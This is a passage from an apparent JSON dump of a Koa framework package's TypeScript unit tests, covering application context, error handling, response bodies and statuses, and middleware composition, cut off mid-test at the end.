    "content": "import assert from 'node:assert/strict';\n\nimport { request } from '@eggjs/supertest';\nimport { describe, it } from 'vitest';\n\nimport Koa from '../../src/index.ts';\n\ndescribe('app.currentContext', () => {\n  it('should get currentContext', async () => {\n    const app = new Koa({});\n\n    app.use(async (ctx) => {\n      assert.equal(ctx, app.currentContext);\n\n      // oxlint-disable-next-line promise/avoid-new\n      await new Promise<void>((resolve) => {\n        setTimeout(() => {\n          assert.equal(ctx, app.currentContext);\n          resolve();\n        }, 1);\n      });\n      // oxlint-disable-next-line promise/avoid-new\n      await new Promise<void>((resolve) => {\n        assert.equal(ctx, app.currentContext);\n        setImmediate(() => {\n          assert.equal(ctx, app.currentContext);\n          resolve();\n        });\n      });\n      assert.equal(ctx, app.currentContext);\n      assert.ok(app.currentContext);\n      app.currentContext.body = 'ok';\n    });\n\n    const requestServer = async () => {\n      assert.equal(app.currentContext, undefined);\n      await request(app.callback()).get('/').expect('ok');\n      assert.equal(app.currentContext, undefined);\n    };\n\n    await Promise.all([requestServer(), requestServer(), requestServer(), requestServer(), requestServer()]);\n  });\n\n  it('should get currentContext work', async () => {\n    const app = new Koa({});\n\n    app.use(async () => {\n      throw new Error('error message');\n    });\n\n    // oxlint-disable-next-line promise/avoid-new\n    const handleError = new Promise<void>((resolve, reject) => {\n      app.on('error', (err, ctx) => {\n        try {\n          assert.equal(err.message, 'error message');\n          assert.equal(app.currentContext, ctx);\n          resolve();\n        } catch (e) {\n          reject(e);\n        }\n      });\n    });\n\n    await request(app.callback()).get('/').expect('Internal Server Error');\n    await handleError;\n  });\n});\n"
  },
  {
    "path": "packages/koa/test/application/index.test.ts",
    "content": "import assert from 'node:assert/strict';\nimport { once } from 'node:events';\nimport type { ServerResponse, IncomingMessage } from 'node:http';\n\nimport { request } from '@eggjs/supertest';\nimport createHttpError, { HttpError } from 'http-errors';\nimport { describe, it } from 'vitest';\n\nimport Koa from '../../src/index.ts';\n\ndescribe('app', () => {\n  it('should handle socket errors', async () => {\n    const app = new Koa();\n\n    app.use((ctx) => {\n      // triggers ctx.socket.writable == false\n      ctx.socket.emit('error', new Error('boom'));\n    });\n\n    app.on('error', (err) => {\n      assert.strictEqual(err.message, 'boom');\n    });\n\n    request(app.callback())\n      .get('/')\n      .end(() => {\n        // empty\n      });\n\n    const [err] = await once(app, 'error');\n    assert.strictEqual(err.message, 'boom');\n  });\n\n  it('should emit request and response event', async () => {\n    const app = new Koa();\n    let requestCount = 0;\n    let responseCount = 0;\n    app.on('request', (ctx) => {\n      assert.equal(ctx.url, '/');\n      requestCount++;\n    });\n    app.on('response', (ctx) => {\n      assert.equal(ctx.url, '/');\n      assert.equal(ctx.status, 404);\n      responseCount++;\n    });\n\n    request(app.callback())\n      .get('/')\n      .end(() => {\n        // empty\n      });\n\n    await once(app, 'request');\n    await once(app, 'response');\n    assert.equal(requestCount, 1);\n    assert.equal(responseCount, 1);\n\n    request(app.callback())\n      .get('/')\n      .end(() => {\n        // empty\n      });\n\n    await once(app, 'request');\n    await once(app, 'response');\n    assert.equal(requestCount, 2);\n    assert.equal(responseCount, 2);\n  });\n\n  it('should not .writeHead when !socket.writable', async () => {\n    const app = new Koa();\n\n    app.use((ctx) => {\n      // set .writable to false\n      (ctx.socket as unknown as { writable: boolean }).writable = false;\n      ctx.status = 204;\n      // throw if .writeHead or .end is called\n      ctx.res.writeHead = () => {\n        throw new Error('response sent (writeHead)');\n      };\n      ctx.res.end = () => {\n        throw new Error('response sent (end)');\n      };\n    });\n\n    // hackish, but the response should occur in a single tick\n    setImmediate(() => {\n      // empty\n    });\n\n    request(app.callback())\n      .get('/')\n      .end(() => {\n        // empty\n      });\n\n    await once(app, 'request');\n  });\n\n  it('should set development env when NODE_ENV missing', () => {\n    const NODE_ENV = process.env.NODE_ENV;\n    process.env.NODE_ENV = '';\n    const app = new Koa();\n    process.env.NODE_ENV = NODE_ENV;\n    assert.strictEqual(app.env, 'development');\n  });\n\n  it('should set env from the constructor', () => {\n    const env = 'custom';\n    const app = new Koa({ env });\n    assert.strictEqual(app.env, env);\n  });\n\n  it('should set proxy flag from the constructor', () => {\n    const proxy = true;\n    const app = new Koa({ proxy });\n    assert.strictEqual(app.proxy, proxy);\n  });\n\n  it('should set signed cookie keys from the constructor', () => {\n    const keys = ['custom-key'];\n    const app = new Koa({ keys });\n    assert.strictEqual(app.keys, keys);\n  });\n\n  it('should set subdomainOffset from the constructor', () => {\n    const subdomainOffset = 3;\n    const app = new Koa({ subdomainOffset });\n    assert.strictEqual(app.subdomainOffset, subdomainOffset);\n  });\n\n  it('should have a static property exporting `HttpError` from http-errors library', () => {\n    assert.notEqual(Koa.HttpError, undefined);\n    assert.equal(Koa.HttpError, HttpError);\n    assert.throws(() => {\n      throw createHttpError(500, 'test error');\n    }, Koa.HttpError);\n  });\n\n  it('should print object works', () => {\n    const app = new Koa();\n    const ctx = app.createContext(\n      {} as unknown as IncomingMessage,\n      {\n        getHeaders() {\n          return {};\n        },\n      } as unknown as ServerResponse,\n    );\n    console.log(ctx.request);\n    console.log(ctx.response);\n    console.log(ctx.context);\n    console.log(app);\n  });\n});\n"
  },
  {
    "path": "packages/koa/test/application/inspect.test.ts",
    "content": "import assert from 'node:assert/strict';\nimport util from 'node:util';\n\nimport { describe, it } from 'vitest';\n\nimport Koa from '../../src/index.ts';\n\ndescribe('app.inspect()', () => {\n  process.env.NODE_ENV = 'test';\n  const app = new Koa();\n\n  it('should work', () => {\n    const str = util.inspect(app);\n    assert.strictEqual(\"{ subdomainOffset: 2, proxy: false, env: 'test' }\", str);\n  });\n\n  it('should return a json representation', () => {\n    assert.deepStrictEqual({ subdomainOffset: 2, proxy: false, env: 'test' }, app.inspect());\n  });\n});\n"
  },
  {
    "path": "packages/koa/test/application/onerror.test.ts",
    "content": "import assert from 'node:assert/strict';\nimport { runInNewContext } from 'node:vm';\n\nimport { mm } from 'mm';\nimport { describe, it, afterEach } from 'vitest';\n\nimport Koa from '../../src/index.ts';\n\ndescribe('app.onerror(err)', () => {\n  afterEach(mm.restore);\n\n  it('should throw an error if a non-error is given', () => {\n    const app = new Koa();\n\n    assert.throws(\n      () => {\n        // @ts-expect-error protected method\n        // oxlint-disable-next-line @typescript-eslint/no-explicit-any\n        app.onerror('foo' as any);\n      },\n      TypeError,\n      'non-error thrown: foo',\n    );\n  });\n\n  it('should accept errors coming from other scopes', () => {\n    const app = new Koa();\n    const ExternError = runInNewContext('Error');\n    const error = Object.assign(new ExternError('boom'), {\n      status: 418,\n      expose: true,\n    });\n\n    // @ts-expect-error protected method\n    assert.doesNotThrow(() => app.onerror(error));\n  });\n\n  it('should do nothing if status is 404', () => {\n    const app = new Koa();\n    const err = new Error('test');\n\n    (err as unknown as { status: number }).status = 404;\n\n    mm.spy(console, 'error');\n    // @ts-expect-error protected method\n    app.onerror(err);\n    assert.equal((console.error as unknown as { called: boolean }).called, undefined);\n  });\n\n  it('should do nothing if .silent', () => {\n    const app = new Koa();\n    app.silent = true;\n    const err = new Error('test');\n\n    mm.spy(console, 'error');\n    // @ts-expect-error protected method\n    app.onerror(err);\n    assert.equal((console.error as unknown as { called: boolean }).called, undefined);\n  });\n\n  it('should log the error to stderr', () => {\n    const app = new Koa();\n    app.env = 'dev';\n\n    const err = new Error('test');\n    err.stack = 'Foo';\n\n    mm.spy(console, 'error');\n    // @ts-expect-error protected method\n    app.onerror(err);\n    assert.equal((console.error as unknown as { called: boolean }).called, 1);\n  });\n});\n"
  },
  {
    "path": "packages/koa/test/application/request.test.ts",
    "content": "import assert from 'node:assert/strict';\n\nimport { request } from '@eggjs/supertest';\nimport { describe, it } from 'vitest';\n\nimport Koa from '../../src/index.ts';\n\ndescribe('app.request', () => {\n  const app1 = new Koa();\n  app1.request.message = 'hello';\n  const app2 = new Koa();\n\n  it('should merge properties', () => {\n    app1.use((ctx) => {\n      assert.strictEqual(ctx.request.message, 'hello');\n      ctx.status = 204;\n    });\n\n    return request(app1.listen()).get('/').expect(204);\n  });\n\n  it('should not affect the original prototype', () => {\n    app2.use((ctx) => {\n      assert.strictEqual(ctx.request.message, undefined);\n      ctx.status = 204;\n    });\n\n    return request(app2.listen()).get('/').expect(204);\n  });\n\n  it('should access ip work', () => {\n    const app = new Koa();\n    app.use((ctx) => {\n      ctx.status = 200;\n      ctx.body = ctx.request.ip;\n    });\n\n    return request(app.listen()).get('/').expect(200).expect('::ffff:127.0.0.1');\n  });\n});\n"
  },
  {
    "path": "packages/koa/test/application/respond.test.ts",
    "content": "import assert from 'node:assert/strict';\nimport { once } from 'node:events';\nimport fs from 'node:fs';\nimport { scheduler } from 'node:timers/promises';\n\nimport { request } from '@eggjs/supertest';\nimport statuses from 'statuses';\nimport { describe, it } from 'vitest';\n\nimport Koa from '../../src/index.ts';\n\nconst pkg = JSON.parse(fs.readFileSync('package.json', 'utf8'));\n\ndescribe('app.respond', () => {\n  describe('when ctx.respond === false', () => {\n    it('should function (ctx)', () => {\n      const app = new Koa();\n\n      app.use((ctx) => {\n        ctx.body = 'Hello';\n        ctx.respond = false;\n\n        const res = ctx.res;\n        res.statusCode = 200;\n        setImmediate(() => {\n          res.setHeader('Content-Type', 'text/plain');\n          res.setHeader('Content-Length', '3');\n          res.end('lol');\n        });\n      });\n\n      const server = app.listen();\n\n      return request(server).get('/').expect(200).expect('lol');\n    });\n\n    it('should ignore set header after header sent', () => {\n      const app = new Koa();\n      app.use((ctx) => {\n        ctx.body = 'Hello';\n        ctx.respond = false;\n\n        const res = ctx.res;\n        res.statusCode = 200;\n        res.setHeader('Content-Type', 'text/plain');\n        res.setHeader('Content-Length', '3');\n        res.end('lol');\n        ctx.set('foo', 'bar');\n      });\n\n      const server = app.listen();\n\n      return request(server)\n        .get('/')\n        .expect(200)\n        .expect('lol')\n        .expect((res) => {\n          assert.ok(!res.headers.foo);\n        });\n    });\n\n    it('should ignore set status after header sent', () => {\n      const app = new Koa();\n      app.use((ctx) => {\n        ctx.body = 'Hello';\n        ctx.respond = false;\n\n        const res = ctx.res;\n        res.statusCode = 200;\n        res.setHeader('Content-Type', 'text/plain');\n        res.setHeader('Content-Length', '3');\n        res.end('lol');\n        ctx.status = 201;\n      });\n\n      const server = app.listen();\n\n      return request(server).get('/').expect(200).expect('lol');\n    });\n  });\n\n  describe('when this.type === null', () => {\n    it('should not send Content-Type header', async () => {\n      const app = new Koa();\n\n      app.use((ctx) => {\n        ctx.body = '';\n        ctx.type = null;\n      });\n\n      const server = app.listen();\n\n      const res = await request(server).get('/').expect(200);\n\n      assert.equal(Object.hasOwn(res.headers, 'Content-Type'), false);\n    });\n  });\n\n  describe('when HEAD is used', () => {\n    it('should not respond with the body', async () => {\n      const app = new Koa();\n\n      app.use((ctx) => {\n        ctx.body = 'Hello';\n      });\n\n      const server = app.listen();\n\n      const res = await request(server).head('/').expect(200);\n\n      assert.equal(res.headers['content-type'], 'text/plain; charset=utf-8');\n      assert.equal(res.headers['content-length'], '5');\n      assert.ok(!res.text);\n    });\n\n    it('should keep json headers', async () => {\n      const app = new Koa();\n\n      app.use((ctx) => {\n        ctx.body = { hello: 'world' };\n      });\n\n      const server = app.listen();\n\n      const res = await request(server).head('/').expect(200);\n\n      assert.equal(res.headers['content-type'], 'application/json; charset=utf-8');\n      assert.equal(res.headers['content-length'], '17');\n      assert.ok(!res.text);\n    });\n\n    it('should keep string headers', async () => {\n      const app = new Koa();\n\n      app.use((ctx) => {\n        ctx.body = 'hello world';\n      });\n\n      const server = app.listen();\n\n      const res = await request(server).head('/').expect(200);\n\n      assert.equal(res.headers['content-type'], 'text/plain; charset=utf-8');\n      assert.equal(res.headers['content-length'], '11');\n      assert.ok(!res.text);\n    });\n\n    it('should keep buffer headers', async () => {\n      const app = new Koa();\n\n      app.use((ctx) => {\n        ctx.body = Buffer.from('hello world');\n      });\n\n      const server = app.listen();\n\n      const res = await request(server).head('/').expect(200);\n\n      assert.equal(res.headers['content-type'], 'application/octet-stream');\n      assert.equal(res.headers['content-length'], '11');\n      assert.ok(!res.text);\n    });\n\n    it('should keep stream header if set manually', async () => {\n      const app = new Koa();\n\n      const { length } = fs.readFileSync('package.json');\n\n      app.use((ctx) => {\n        ctx.length = length;\n        ctx.body = fs.createReadStream('package.json');\n      });\n\n      const server = app.listen();\n\n      const res = await request(server).head('/').expect(200);\n\n      assert.equal(Number.parseInt(res.header['content-length']), length);\n      assert.ok(!res.text);\n    });\n\n    it('should respond with a 404 if no body was set', () => {\n      const app = new Koa();\n\n      app.use(() => {\n        // empty\n      });\n\n      const server = app.listen();\n\n      return request(server).head('/').expect(404);\n    });\n\n    it('should respond with a 200 if body = \"\"', () => {\n      const app = new Koa();\n\n      app.use((ctx) => {\n        ctx.body = '';\n      });\n\n      const server = app.listen();\n\n      return request(server).head('/').expect(200);\n    });\n\n    it('should not overwrite the content-type', () => {\n      const app = new Koa();\n\n      app.use((ctx) => {\n        ctx.status = 200;\n        ctx.type = 'application/javascript';\n      });\n\n      const server = app.listen();\n\n      return request(server)\n        .head('/')\n        .expect('content-type', /application\\/javascript/)\n        .expect(200);\n    });\n  });\n\n  describe('when no middleware is present', () => {\n    it('should 404', () => {\n      const app = new Koa();\n\n      const server = app.listen();\n\n      return request(server).get('/').expect(404);\n    });\n  });\n\n  describe('when res has already been written to', () => {\n    it('should not cause an app error', () => {\n      const app = new Koa();\n\n      app.use((ctx) => {\n        const res = ctx.res;\n        ctx.status = 200;\n        res.setHeader('Content-Type', 'text/html');\n        res.write('Hello');\n      });\n\n      app.on('error', (err) => {\n        throw err;\n      });\n\n      const server = app.listen();\n\n      return request(server).get('/').expect(200);\n    });\n\n    it('should send the right body', () => {\n      const app = new Koa();\n\n      app.use(async (ctx) => {\n        const res = ctx.res;\n        ctx.status = 200;\n        res.setHeader('Content-Type', 'text/html');\n        res.write('Hello');\n        await scheduler.wait(0);\n        res.end('Goodbye');\n      });\n\n      const server = app.listen();\n\n      return request(server).get('/').expect(200).expect('HelloGoodbye');\n    });\n  });\n\n  describe('when .body is missing', () => {\n    describe('with status=400', () => {\n      it('should respond with the associated status message', () => {\n        const app = new Koa();\n\n        app.use((ctx) => {\n          ctx.status = 400;\n        });\n\n        const server = app.listen();\n\n        return request(server).get('/').expect(400).expect('Content-Length', '11').expect('Bad Request');\n      });\n    });\n\n    describe('with status=204', () => {\n      it('should respond without a body', async () => {\n        const app = new Koa();\n\n        app.use((ctx) => {\n          ctx.status = 204;\n        });\n\n        const server = app.listen();\n\n        const res = await request(server).get('/').expect(204).expect('');\n\n        assert.equal(Object.hasOwn(res.headers, 'content-type'), false);\n      });\n    });\n\n    describe('with status=205', () => {\n      it('should respond without a body', async () => {\n        const app = new Koa();\n\n        app.use((ctx) => {\n          ctx.status = 205;\n        });\n\n        const server = app.listen();\n\n        const res = await request(server).get('/').expect(205).expect('');\n\n        assert.equal(Object.hasOwn(res.headers, 'content-type'), false);\n      });\n    });\n\n    describe('with status=304', () => {\n      it('should respond without a body', async () => {\n        const app = new Koa();\n\n        app.use((ctx) => {\n          ctx.status = 304;\n        });\n\n        const server = app.listen();\n\n        const res = await request(server).get('/').expect(304).expect('');\n\n        assert.equal(Object.hasOwn(res.headers, 'content-type'), false);\n      });\n    });\n\n    describe('with custom status=700', () => {\n      it('should respond with the associated status message', async () => {\n        const app = new Koa();\n        statuses.message['700'] = 'custom status';\n\n        app.use((ctx) => {\n          ctx.status = 700;\n        });\n\n        const server = app.listen();\n\n        const res = await request(server).get('/').expect(700).expect('custom status');\n\n        assert.equal(res.statusCode, 700);\n        assert.ok((res as unknown as { res: { statusMessage: string } }).res);\n        assert.equal((res as unknown as { res: { statusMessage: string } }).res.statusMessage, 'custom status');\n      });\n    });\n\n    describe('with custom statusMessage=ok', () => {\n      it('should respond with the custom status message', async () => {\n        const app = new Koa();\n\n        app.use((ctx) => {\n          ctx.status = 200;\n          ctx.message = 'ok';\n        });\n\n        const server = app.listen();\n\n        const res = await request(server).get('/').expect(200).expect('ok');\n\n        assert.equal(res.statusCode, 200);\n        assert.ok((res as unknown as { res: { statusMessage: string } }).res);\n        assert.equal((res as unknown as { res: { statusMessage: string } }).res.statusMessage, 'ok');\n      });\n    });\n\n    describe('with custom status without message', () => {\n      it('should respond with the status code number', () => {\n        const app = new Koa();\n\n        app.use((ctx) => {\n          ctx.res.statusCode = 701;\n        });\n\n        const server = app.listen();\n\n        return request(server).get('/').expect(701).expect('701');\n      });\n    });\n  });\n\n  describe('when .body is a null', () => {\n    it('should respond 204 by default', async () => {\n      const app = new Koa();\n\n      app.use((ctx) => {\n        ctx.body = null;\n      });\n\n      const server = app.listen();\n\n      const res = await request(server).get('/').expect(204).expect('');\n\n      assert.equal(Object.hasOwn(res.headers, 'content-type'), false);\n    });\n\n    it('should respond 204 with status=200', async () => {\n      const app = new Koa();\n\n      app.use((ctx) => {\n        ctx.status = 200;\n        ctx.body = null;\n      });\n\n      const server = app.listen();\n\n      const res = await request(server).get('/').expect(204).expect('');\n\n      assert.equal(Object.hasOwn(res.headers, 'content-type'), false);\n    });\n\n    it('should respond 205 with status=205', async () => {\n      const app = new Koa();\n\n      app.use((ctx) => {\n        ctx.status = 205;\n        ctx.body = null;\n      });\n\n      const server = app.listen();\n\n      const res = await request(server).get('/').expect(205).expect('');\n\n      assert.equal(Object.hasOwn(res.headers, 'content-type'), false);\n    });\n\n    it('should respond 304 with status=304', async () => {\n      const app = new Koa();\n\n      app.use((ctx) => {\n        ctx.status = 304;\n        ctx.body = null;\n      });\n\n      const server = app.listen();\n\n      const res = await request(server).get('/').expect(304).expect('');\n\n      assert.equal(Object.hasOwn(res.headers, 'content-type'), false);\n    });\n  });\n\n  describe('when .body is a string', () => {\n    it('should respond', () => {\n      const app = new Koa();\n\n      app.use((ctx) => {\n        ctx.body = 'Hello';\n      });\n\n      const server = app.listen();\n\n      return request(server).get('/').expect('Hello');\n    });\n  });\n\n  describe('when .body is a Buffer', () => {\n    it('should respond', () => {\n      const app = new Koa();\n\n      app.use((ctx) => {\n        ctx.body = Buffer.from('Hello');\n      });\n\n      const server = app.listen();\n\n      return request(server).get('/').expect(200).expect(Buffer.from('Hello'));\n    });\n  });\n\n  describe('when .body is a Stream', () => {\n    it('should respond', async () => {\n      const app = new Koa();\n\n      app.use((ctx) => {\n        ctx.body = fs.createReadStream('package.json');\n        ctx.set('Content-Type', 'application/json; charset=utf-8');\n      });\n\n      const server = app.listen();\n\n      const res = await request(server).get('/').expect('Content-Type', 'application/json; charset=utf-8');\n\n      assert.equal(Object.hasOwn(res.headers, 'content-length'), false);\n      assert.deepEqual(res.body, pkg);\n    });\n\n    it('should strip content-length when overwriting', async () => {\n      const app = new Koa();\n\n      app.use((ctx) => {\n        ctx.body = 'hello';\n        ctx.body = fs.createReadStream('package.json');\n        ctx.set('Content-Type', 'application/json; charset=utf-8');\n      });\n\n      const server = app.listen();\n\n      const res = await request(server).get('/').expect('Content-Type', 'application/json; charset=utf-8');\n\n      assert.equal(Object.hasOwn(res.headers, 'content-length'), false);\n      assert.deepEqual(res.body, pkg);\n    });\n\n    it('should keep content-length if not overwritten', async () => {\n      const app = new Koa();\n\n      app.use((ctx) => {\n        ctx.length = fs.readFileSync('package.json').length;\n        ctx.body = fs.createReadStream('package.json');\n        ctx.set('Content-Type', 'application/json; charset=utf-8');\n      });\n\n      const server = app.listen();\n\n      const res = await request(server).get('/').expect('Content-Type', 'application/json; charset=utf-8');\n\n      assert.equal(Object.hasOwn(res.headers, 'content-length'), true);\n      assert.deepEqual(res.body, pkg);\n    });\n\n    it('should keep content-length if overwritten with the same stream', async () => {\n      const app = new Koa();\n\n      app.use((ctx) => {\n        ctx.length = fs.readFileSync('package.json').length;\n        const stream = fs.createReadStream('package.json');\n        ctx.body = stream;\n        ctx.body = stream;\n        ctx.set('Content-Type', 'application/json; charset=utf-8');\n      });\n\n      const server = app.listen();\n\n      const res = await request(server).get('/').expect('Content-Type', 'application/json; charset=utf-8');\n\n      assert.equal(Object.hasOwn(res.headers, 'content-length'), true);\n      assert.equal(res.headers['content-length'], `${fs.readFileSync('package.json').length}`);\n      assert.deepEqual(res.body, pkg);\n    });\n\n    it('should handle errors', async () => {\n      const app = new Koa();\n\n      app.use((ctx) => {\n        ctx.set('Content-Type', 'application/json; charset=utf-8');\n        ctx.body = fs.createReadStream('does not exist');\n      });\n\n      const server = app.listen();\n\n      request(server)\n        .get('/')\n        .expect('Content-Type', 'text/plain; charset=utf-8')\n        .expect(404)\n        .end(() => {\n          // empty\n        });\n\n      const [err] = await once(app, 'error');\n      assert.match(err.message, /ENOENT: no such file or directory, open/);\n    });\n\n    it('should handle errors when no content status', () => {\n      const app = new Koa();\n\n      app.use((ctx) => {\n        ctx.status = 204;\n        ctx.body = fs.createReadStream('does not exist');\n      });\n\n      const server = app.listen();\n\n      return request(server).get('/').expect(204);\n    });\n\n    it('should handle all intermediate stream body errors', async () => {\n      const app = new Koa();\n\n      app.use((ctx) => {\n        ctx.body = fs.createReadStream('does not exist');\n        ctx.body = fs.createReadStream('does not exist');\n        ctx.body = fs.createReadStream('does not exist');\n      });\n\n      const server = app.listen();\n\n      request(server)\n        .get('/')\n        .expect(404)\n        .end(() => {\n          // empty\n        });\n\n      const [err] = await once(app, 'error');\n      assert.match(err.message, /ENOENT: no such file or directory, open/);\n    });\n  });\n\n  describe('when .body is an Object', () => {\n    it('should respond with json', () => {\n      const app = new Koa();\n\n      app.use((ctx) => {\n        ctx.body = { hello: 'world' };\n      });\n\n      const server = app.listen();\n\n      return request(server)\n        .get('/')\n        .expect('Content-Type', 'application/json; charset=utf-8')\n        .expect('{\"hello\":\"world\"}');\n    });\n    describe('and headers sent', () => {\n      it('should respond with json body and headers', () => {\n        const app = new Koa();\n\n        app.use((ctx) => {\n          ctx.length = 17;\n          ctx.type = 'json';\n          ctx.set('foo', 'bar');\n          ctx.res.flushHeaders();\n          ctx.body = { hello: 'world' };\n        });\n\n        const server = app.listen();\n\n        return request(server)\n          .get('/')\n          .expect('Content-Type', 'application/json; charset=utf-8')\n          .expect('Content-Length', '17')\n          .expect('foo', 'bar')\n          .expect('{\"hello\":\"world\"}');\n      });\n    });\n  });\n\n  describe('when an error occurs', () => {\n    it('should emit \"error\" on the app', async () => {\n      const app = new Koa();\n\n      app.use(() => {\n        throw new Error('boom');\n      });\n\n      app.on('error', (err) => {\n        assert.equal(err.message, 'boom');\n      });\n\n      request(app.callback())\n        .get('/')\n        .end(() => {\n          // ignore\n        });\n\n      await once(app, 'error');\n    });\n\n    describe('with an .expose property', () => {\n      it('should expose the message', () => {\n        const app = new Koa();\n\n        app.use(() => {\n          const err = new Error('sorry!');\n          (err as unknown as { status: number; expose: boolean }).status = 403;\n          (err as unknown as { status: number; expose: boolean }).expose = true;\n          throw err;\n        });\n\n        return request(app.callback()).get('/').expect(403, 'sorry!');\n      });\n    });\n\n    describe('with a .status property', () => {\n      it('should respond with .status', () => {\n        const app = new Koa();\n\n        app.use(() => {\n          const err = new Error('s3 explodes');\n          (err as unknown as { status: number }).status = 403;\n          throw err;\n        });\n\n        return request(app.callback()).get('/').expect(403, 'Forbidden');\n      });\n    });\n\n    it('should respond with 500', () => {\n      const app = new Koa();\n\n      app.use(() => {\n        throw new Error('boom!');\n      });\n\n      const server = app.listen();\n\n      return request(server).get('/').expect(500, 'Internal Server Error');\n    });\n\n    it('should be catchable', () => {\n      const app = new Koa();\n\n      app.use((ctx, next) => {\n        // oxlint-disable-next-line promise/prefer-await-to-then\n        return (\n          next()\n            // oxlint-disable-next-line promise/prefer-await-to-then\n            .then(() => {\n              ctx.body = 'Hello';\n            })\n            // oxlint-disable-next-line promise/prefer-await-to-then\n            .catch(() => {\n              ctx.body = 'Got error';\n            })\n        );\n      });\n\n      app.use(() => {\n        throw new Error('boom!');\n      });\n\n      const server = app.listen();\n\n      return request(server).get('/').expect(200, 'Got error');\n    });\n  });\n\n  describe('when status and body property', () => {\n    it('should 200', () => {\n      const app = new Koa();\n\n      app.use((ctx) => {\n        ctx.status = 304;\n        ctx.body = 'hello';\n        ctx.status = 200;\n      });\n\n      const server = app.listen();\n\n      return request(server).get('/').expect(200).expect('hello');\n    });\n\n    it('should 204', async () => {\n      const app = new Koa();\n\n      app.use((ctx) => {\n        ctx.status = 200;\n        ctx.body = 'hello';\n        ctx.set('content-type', 'text/plain; charset=utf8');\n        ctx.status = 204;\n      });\n\n      const server = app.listen();\n\n      const res = await request(server).get('/').expect(204);\n\n      assert.equal(Object.hasOwn(res.headers, 'content-type'), false);\n    });\n  });\n\n  describe('with explicit null body', () => {\n    it('should preserve given status', async () => {\n      const app = new Koa();\n\n      app.use((ctx) => {\n        ctx.body = null;\n        ctx.status = 404;\n      });\n\n      const server = app.listen();\n\n      return request(server).get('/').expect(404).expect('').expect({});\n    });\n    it('should respond with correct headers', async () => {\n      const app = new Koa();\n\n      app.use((ctx) => {\n        ctx.body = null;\n        ctx.status = 401;\n      });\n\n      const server = app.listen();\n\n      const res = await request(server).get('/').expect(401).expect('').expect({});\n\n      assert.equal(Object.hasOwn(res.headers, 'content-type'), false);\n    });\n  });\n});\n"
  },
  {
    "path": "packages/koa/test/application/response.test.ts",
    "content": "import assert from 'node:assert/strict';\n\nimport { request } from '@eggjs/supertest';\nimport { describe, it } from 'vitest';\n\nimport Koa from '../../src/index.ts';\n\ndescribe('app.response', () => {\n  const app1 = new Koa();\n  app1.response.msg = 'hello';\n  const app2 = new Koa();\n  const app3 = new Koa();\n  const app4 = new Koa();\n  const app5 = new Koa();\n\n  it('should merge properties', () => {\n    app1.use((ctx) => {\n      assert.strictEqual(ctx.response.msg, 'hello');\n      ctx.status = 204;\n    });\n\n    return request(app1.listen()).get('/').expect(204);\n  });\n\n  it('should not affect the original prototype', () => {\n    app2.use((ctx) => {\n      assert.strictEqual(ctx.response.msg, undefined);\n      ctx.status = 204;\n    });\n\n    return request(app2.listen()).get('/').expect(204);\n  });\n\n  it('should not include status message in body for http2', async () => {\n    app3.use((ctx) => {\n      ctx.req.httpVersionMajor = 2;\n      ctx.status = 404;\n    });\n    const response = await request(app3.listen()).get('/').expect(404);\n    assert.strictEqual(response.text, '404');\n  });\n\n  it('should set ._explicitNullBody correctly', async () => {\n    app4.use((ctx) => {\n      ctx.body = null;\n      assert.strictEqual(ctx.response._explicitNullBody, true);\n    });\n\n    return request(app4.listen()).get('/').expect(204);\n  });\n\n  it('should not set ._explicitNullBody incorrectly', async () => {\n    app5.use((ctx) => {\n      ctx.body = undefined;\n      assert.strictEqual(ctx.response._explicitNullBody, undefined);\n      ctx.body = '';\n      assert.strictEqual(ctx.response._explicitNullBody, undefined);\n      ctx.body = false;\n      assert.strictEqual(ctx.response._explicitNullBody, undefined);\n    });\n\n    return request(app5.listen()).get('/').expect(204);\n  });\n});\n"
  },
  {
    "path": "packages/koa/test/application/toJSON.test.ts",
    "content": "import assert from 'node:assert/strict';\n\nimport { describe, it } from 'vitest';\n\nimport Koa from '../../src/index.ts';\n\ndescribe('app.toJSON()', () => {\n  it('should work', () => {\n    process.env.NODE_ENV = 'test';\n\n    const app = new Koa();\n    const obj = app.toJSON();\n\n    assert.deepStrictEqual(\n      {\n        subdomainOffset: 2,\n        proxy: false,\n        env: 'test',\n      },\n      obj,\n    );\n  });\n});\n"
  },
  {
    "path": "packages/koa/test/application/use.test.ts",
    "content": "import assert from 'node:assert/strict';\n\nimport { request } from '@eggjs/supertest';\nimport { describe, it } from 'vitest';\n\nimport Koa, { type MiddlewareFunc } from '../../src/index.ts';\n\ndescribe('app.use(fn)', () => {\n  it('should compose middleware', async () => {\n    const app = new Koa();\n    const calls: number[] = [];\n\n    app.use(async function foo(_ctx, next) {\n      calls.push(1);\n      await next();\n      calls.push(6);\n    });\n\n    app.use((_ctx, next) => {\n      calls.push(2);\n      // oxlint-disable-next-line promise/prefer-await-to-then\n      return next().then(() => {\n        calls.push(5);\n      });\n    });\n\n    app.use((_ctx, next) => {\n      calls.push(3);\n      // oxlint-disable-next-line promise/prefer-await-to-then\n      return next().then(() => {\n        calls.push(4);\n      });\n    });\n\n    const server = app.listen();\n\n    await request(server).get('/').expect(404);\n\n    assert.deepStrictEqual(calls, [1, 2, 3, 4, 5, 6]);\n  });\n\n  it('should compose mixed middleware', async () => {\n    const app = new Koa();\n    const calls: number[] = [];\n\n    app.use((_ctx, next) => {\n      calls.push(1);\n      // oxlint-disable-next-line promise/prefer-await-to-then\n      return next().then(() => {\n        calls.push(6);\n      });\n    });\n\n    app.use(async (_ctx, next) => {\n      calls.push(2);\n      await next();\n      calls.push(5);\n    });\n\n    app.use((_ctx, next) => {\n      calls.push(3);\n      // oxlint-disable-next-line promise/prefer-await-to-then\n      return next().then(() => {\n        calls.push(4);\n      });\n    });\n\n    const server = app.listen();\n\n    await request(server).get('/').expect(404);\n\n    assert.deepStrictEqual(calls, [1, 2, 3, 4, 5, 6]);\n  });\n\n  // https://github.com/koajs/koa/pull/530#issuecomment-148138051\n  it('should catch thrown errors in non-async functions', async () => {\n    const app = new Koa();\n\n    app.use((ctx) => ctx.throw('Not Found', 404));\n\n    await request(app.callback()).get('/').expect(404);\n  });\n\n  it('should throw error on generator middleware', () => {\n    const app = new Koa();\n\n    app.use((_ctx, next) => next());\n    assert.throws(\n      () => {\n        // oxlint-disable-next-line consistent-function-scoping\n        app.use(function* generatorMiddleware(_ctx: unknown, next: unknown) {\n          console.log('pre generator');\n          yield next;\n          // this.body = 'generator';\n          console.log('post generator');\n        } as unknown as MiddlewareFunc);\n      },\n      // oxlint-disable-next-line prefer-await-to-callbacks\n      (err) => {\n        assert.ok(err instanceof TypeError);\n        assert.match(err.message, /Support for generators was removed/);\n        return true;\n      },\n    );\n  });\n\n  it('should throw error for non-function', () 